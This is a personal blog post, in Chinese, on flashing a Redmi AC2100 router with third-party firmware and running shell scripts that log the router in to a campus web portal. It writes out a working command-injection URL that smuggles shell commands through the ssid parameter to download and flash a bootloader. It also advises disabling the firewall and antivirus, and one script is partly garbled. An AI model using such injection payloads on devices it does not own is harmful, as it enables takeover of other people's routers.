MENU

路由器通过校园网网页验证

September 9, 2025 • Read: 379 • 学习,折腾

本笔记详细记录了使用 Redmi AC 2100 路由器刷入第三方固件,并通过脚本实现校园网网页认证的步骤和经验。

Rm 2100

选择这个型号的原因是 5 g 能通过刷老毛子固件开启 160 mhz。

而且恩山讨论数挺多,感觉也许有很多刷机的方案。

宿舍宽带就 500 m,rm 2100 的 5 G Wi-Fi 速率是 1733 Mbps,使用起来绰绰有余。

为什么不用之前刷过的 r3g 呢?因为 r3g 散热弱于 rm 2100,5g 信号速率也才 800 mbps,宿舍使用还是追求信号好和稳定,就不打算折腾这么多插件了。

固件和一些需要的软件

  1. 老毛子 支持开启 160 mhz 的固件: padavan,搜索 RM 2100,下载 RM 2100_3.4.3.9-099. Trx。
  2. QB-BOOT: 适配RM2100的pb-boot正式版(大雕)-小米无线路由器及小米网络设备-恩山无线论坛 - Powered by Discuz!
  3. Breed:因为官方breed 这个网站挂掉了,然后自己找到了放自己网盘里:来自 123 云盘的分享:breed 链接:https://www.123684.com/s/rlO3jv-8s4nH 提取码:Kzg 5
  4. Openwrt 带过校园网检测插件:这个看情况选择,有多播。【2024-9-15】自编译Redmi AC2100固件,集成UA2F等,可用于校园网防检测等功能-小米无线路由器及小米网络设备-恩山无线论坛 - Powered by Discuz!
  5. 官方降级包:来自 123 云盘的分享:miwifi_rm 2100_firmware_d 62... 链接:https://www.123684.com/s/rlO3jv-Ks4nH 提取码:d 8 sA

    降级

    首先需要将官方固件降级成 2.0.7 。因为旧版固件才有注入漏洞。

进入路由器后台,上传上面的官方降级包。

重启之后就降级成功了。

注入刷入 breed

从恩山中看到的注入刷入 breed 方案小米 红米【AC2100】一键刷BREED【30秒刷完】小白帅小伙专用 检查坏块 | 无需Telnet-小米无线路由器及小米网络设备-恩山无线论坛 - Powered by Discuz!

核心步骤

主要是因为官方breed 无法访问了,不能直接使用教程里面的注入 url,只能先下载 breed,然后开一个本地服务器,获取本地的 breed 刷入。(如果后面还是无法访问,只能使用我这个方法了)

  1. 获取本机 ip 和路由器 ip。
  2. 登录路由器后台,查看 url,将 stok 后面的值复制下来。
  3. 在 breed 固件下载文件夹目录输入 cmd 进入命令行。
  4. 开启一个本地服务器,python -m http.server 8080 --bind 0.0.0.0不要关闭这个窗口
  5. 然后是获取 breed 的 sha 256 值,certutil -hashfile breed.bin SHA256
  6. 一定要关闭 Windows 的防火墙和杀毒软件!!!

然后就可以拼接成一个注入 url 了。

http://【路由器的IP地址】/cgi-bin/luci/;stok=【路由器的Stok】/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20http%3A%2F%2F【您电脑的IP地址】%3A【HTTP服务器端口】%2F【固件文件名】%20-o%20B%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%20【固件的SHA256校验值】)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A
http://【路由器的IP地址】/cgi-bin/luci/;stok=【路由器的Stok】/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=
cd /tmp
curl http://【您电脑的IP地址】:【HTTP服务器端口】/【固件文件名】 -o B
[ -z "$(sha256sum B | grep 【固件的SHA256校验值】)" ] || mtd -r write B Bootloader

回车后看到路由器重启,灯会从,最终变进入系统。

接着断开电源,顶住 reset 键,接上电源,如果闪蓝灯那就是 BREED。如果是闪橘灯那就是原厂 UBOOT。闪蓝灯就可以松开 reset 键了。

用网线将电脑连接路由器的 lan 口,将以太网中的 ip 改成固定 ip 192.168.1.100,子网掩码 255.255.255.0。浏览器使用无痕模式打开 192.168.1.1。此时进入 breed 后台。

摸索过程

一开始是直接使用注入 url,然后发现 url 中获取 breed 的网址不能访问了,理所当然虽然返回是 code 0,但刷入失败。

然后是刷的 22 年的 breed,sha 256 和原来注入代码中值的不一样,无法通过验证。

刷入 padavan

刷入 breed 后,我尝试刷入了老毛子和 openwrt 固件,都是等了几分钟 wifi 列表中都没出现新的 wifi。
大概率是刷入失败。

然后看到这个帖子红米AC2100(rm2100)breed刷入padavan老毛子无法进入、坏块 通过breed刷入pb-boot解决-小米无线路由器及小米网络设备-恩山无线论坛 - Powered by Discuz!

刷入固件前需要备份

大体意思是要在 breed 刷入 pb-boot,因为 breed 没有坏块检测功能。
最后在 pb-boot 中刷入 padavan,这是正确的,路由器成功重启看到 PCDN 的 WiFi!

进入到后台后需要双清。

通过校园网认证

我们学校对所有接入校园网的设备都需要通过网页验证,除此之外似乎没有其他检测限制手段了。

路由器接入校园网后,如果未认证,所有连接路由器的设备都会提示未验证,验证后才能联网。

如果让路由器通过验证就可以让宿舍所有设备无需验证了。

有两个方法:第一个方法是让电脑通过验证后,路由器克隆电脑的 MAC,但是这个方法有点麻烦了,优点是官方固件自带 mac 克隆。另一个方法就是写一个脚本,让路由器开机执行,这也是我刷机的理由。

F 12 抓包发现学校登录请求是 get,后面测试发现学校有线和无线是两套登录系统。(今年三月我拿着朋友的有线验证的脚本无线桥接一直失败,终于找到原因了)

特性无线 Wi-Fi (eportal)有线网络 (Dr. Com)
服务器 IP10.0.1.5 (801 端口)10.0.1.5 (80 端口)
登录地址/eportal/portal/login/drcom/login
密码格式Base 64 编码明文
用户名格式,0, 学号学号@运营商
#!/bin/ash
# --- 运营商代码 ---
# 中国联通: unicom
# 中国移动: cmcc
# 中国电信: telecom
--------------------
# ccount Information ---
    USERNAME=""
    PASSWORD=""
    OPERATOR_CODE="" 

    # --- End of Configuration ---

    COOKIE_FILE="/tmp/drcom_cookies.txt"
    FULL_USERNAME="${USERNAME}@${OPERATOR_CODE}"
    ACTIVATE_URL="http://10.0.1.5/drcom/auth_msg.php?callback=dr1002" # Define the activation URL globally

    echo "Dr.COM Ultimate auto-login script started (with keep-alive and delays)..."

    # --- Main Loop ---
    while true; do
        # Step 1: Use the ultimate detection method by checking web content.
        if curl -s --connect-timeout 4 http://www.baidu.com/robots.txt | grep -q "User-agent"; then
            # Network is online -> send keep-alive packet.
            current_time=$(date "+%Y-%m-%d %H:%M:%S")
            echo "[${current_time}] Network is online. Sending keep-alive packet..."
            curl -s -b "$COOKIE_FILE" "$ACTIVATE_URL" -H "User-agent: Mozilla/5.0" > /dev/null

        else
            # Network is down -> execute login procedure.
            echo "[WARN] Network connection is down or abnormal. Attempting to re-login..."
            echo "    - Login account: $FULL_USERNAME"
            
            rm -f "$COOKIE_FILE"

            LOGIN_URL="http://10.0.1.5/drcom/login?callback=dr1003&DDDDD=${FULL_USERNAME}&upass=${PASSWORD}&0MKKey=123456"
            LOGIN_RESPONSE=$(curl --connect-timeout 5 -s -c "$COOKIE_FILE" "$LOGIN_URL" -H "User-Agent: Mozilla/5.0")

            if printf "%s" "$LOGIN_RESPONSE" | grep -q '"result":1'; then
                echo "[SUCCESS] Login authentication successful!"
                
                # Add a delay to wait for the authentication system to respond.
                echo "    - Waiting 2 seconds before activation..."
                sleep 2
                
                # Send activation request.
                curl -s -b "$COOKIE_FILE" "$ACTIVATE_URL" -H "User-agent: Mozilla/5.0" > /dev/null
                
                # Add a delay to wait for the network gateway to apply the new rules.
                echo "    - Activation request sent. Waiting 5 seconds for network to stabilize..."
                sleep 5
                
                if curl -s --connect-timeout 4 http://www.baidu.com/robots.txt | grep -q "User-agent"; then
                    echo "[SUCCESS] Network has been activated, and internet access is restored."
                else
                    echo "[FAIL] Network activation failed. Login was accepted, but the internet is still unreachable."                fi
            else
                echo "[FAIL] Login authentication failed!"
                MSG=$(printf "%s" "$LOGIN_RESPONSE" | sed -n 's/.*"msg":"\([^"]*\)".*/\1/p')
                if [ -n "$MSG" ]; then
                    echo "    - Server response: $MSG"
                else
                    echo "    - Failed to connect to the login server or received an unexpected response."
                fi
            fi
        fi
        
        # Loop interval: 10 seconds.
        sleep 10
    done
) &
red Network Auto-Login Script
# Version optimized for router environments like Padavan.

# --- 请在这里填入您的账号信息 ---
USERNAME=""
PASSWORD=""
OPERATOR_CODE="" # 运营商选项: unicom (联通), cmcc (移动), telecom (电信)
# --- 配置结束 ---


# 使用一个固定的Cookie文件路径,因为mktemp命令不可用
COOKIE_FILE="/tmp/drcom_cookies.txt"

# 构造带运营商后缀的完整用户名
FULL_USERNAME="${USERNAME}@${OPERATOR_CODE}"

# 脚本开始时先尝试清理可能存在的旧Cookie文件
rm -f "$COOKIE_FILE"

echo "[*] 开始登录 Dr.com 有线网络 (10.0.1.5)..."
echo "    - 正在使用账号: $FULL_USERNAME"

# --- 步骤1: 核心登录请求 ---
# -c "$COOKIE_FILE" 会将服务器的会话Cookie保存到我们的文件中
LOGIN_URL="http://10.0.1.5/drcom/login?callback=dr1003&DDDDD=${FULL_USERNAME}&upass=${PASSWORD}&0MKKey=123456"
LOGIN_RESPONSE=$(curl -s -c "$COOKIE_FILE" "$LOGIN_URL" -H "User-Agent: Mozilla/5.0")

# --- 检查登录结果 ---
if echo "$LOGIN_RESPONSE" | grep -q '"result":1'; then
    echo "[+] 登录成功! 服务器已确认身份。"
    
    sleep 1

    # --- 步骤2 & 3: 开始无限循环保活 ---
    # -b "$COOKIE_FILE" 会将Cookie发送回服务器
    KEEPALIVE_URL="http://10.0.1.5/drcom/keepalive?callback=dr1002&DDDDD=${FULL_USERNAME}&upass=${PASSWORD}&0MKKey=123456"
    
    echo "[*] 正在发送首次保活请求以激活网络..."
    FIRST_KEEPALIVE_RESPONSE=$(curl -s -b "$COOKIE_FILE" "$KEEPALIVE_URL" -H "User-Agent: Mozilla/5.0")

    if echo "$FIRST_KEEPALIVE_RESPONSE" | grep -q '"result":1'; then
         echo "[+] 网络已激活!现在开始周期性保活..."
    else
        echo "[-] 网络激活失败!请检查脚本或网络环境。"
        echo "    - 激活请求URL: $KEEPALIVE_URL"
        echo "    - 服务器响应: $FIRST_KEEPALIVE_RESPONSE"
        # 失败时清理Cookie文件
        rm -f "$COOKIE_FILE"
        exit 1
    fi
    
    while true; do
        sleep 30
        
        # 周期性保活,发送现有Cookie(-b)并保存可能更新的Cookie(-c)
        KEEPALIVE_RESPONSE=$(curl -s -b "$COOKIE_FILE" -c "$COOKIE_FILE" "$KEEPALIVE_URL" -H "User-Agent: Mozilla/5.0")
        
        if echo "$KEEPALIVE_RESPONSE" | grep -q '"result":1'; then
            current_time=$(date "+%H:%M:%S")
            printf "[+] 保活成功, 网络在线 [${current_time}]。下次检测在30秒后... \r"
        else
            echo "\n[-] 保活失败! 可能已掉线,脚本将退出。"
            # 失败时清理Cookie文件
            rm -f "$COOKIE_FILE"
            exit 1
        fi
    done

else
    echo "[-] 登录失败!"
    MSG=$(echo "$LOGIN_RESPONSE" | sed -n 's/.*"msg":"\([^"]*\)".*/\1/p')
    echo "    - 服务器响应: $MSG"
fi

chmod +x <脚本名> 赋予执行权限,然后执行就行了。

偶遇学校断网

正用着 Wi-Fi,舍友突然断网了。

还以为是路由器的 DNS 出现了问题。

推测应该是学校网络强制劫持所有 DNS,然后学校的 DNS 服务故障了。

为什么这样呢,因为此时我还是能用 Wi-Fi 正常上网的,同时我也开了代理。代理会将 DNS 请求加密让代理服务器发起 DNS 解析。搜了下是 DoH (DNS on HTTPS)相关的知识。

如果想让宿舍在学校 DNS 服务故障的时候正常使用,有一个解决办法就是安装 AdGuardhome,在我刚刚安装好后,学校网络又恢复正常了。

下次再测试吧。

参考

  1. 红米AC2100(rm2100)breed刷入padavan老毛子无法进入、坏块 通过breed刷入pb-boot解决-小米无线路由器及小米网络设备-恩山无线论坛 - Powered by Discuz!
  2. 小米 红米【AC2100】一键刷BREED【30秒刷完】小白帅小伙专用 检查坏块 | 无需Telnet-小米无线路由器及小米网络设备-恩山无线论坛 - Powered by Discuz!
Last Modified: November 11, 2025
Leave a Comment

7 Comments
  1. 小舟从此逝 小舟从此逝

    不赖

  2. 测试

  3. aaa aaa

    老哥这个脚本现在还能用吗,我宿国庆后就被限速到个位数Mbps#(狂汗)

    1. @aaa校友吗?校园网出现了一些BUG,目前DNS 114.114.114.114无法使用。
      请使用最新的脚本。
      限速的话,电信宽带很明显。

    2. aaa aaa

      @chifan新脚本确实稳定好多,就是限速依旧痛苦

    3. @aaa目前校园网会对翻墙的账号限速,具体机制不清楚。

    4. aaa aaa

      @chifan竟然还有这种事情,真没想到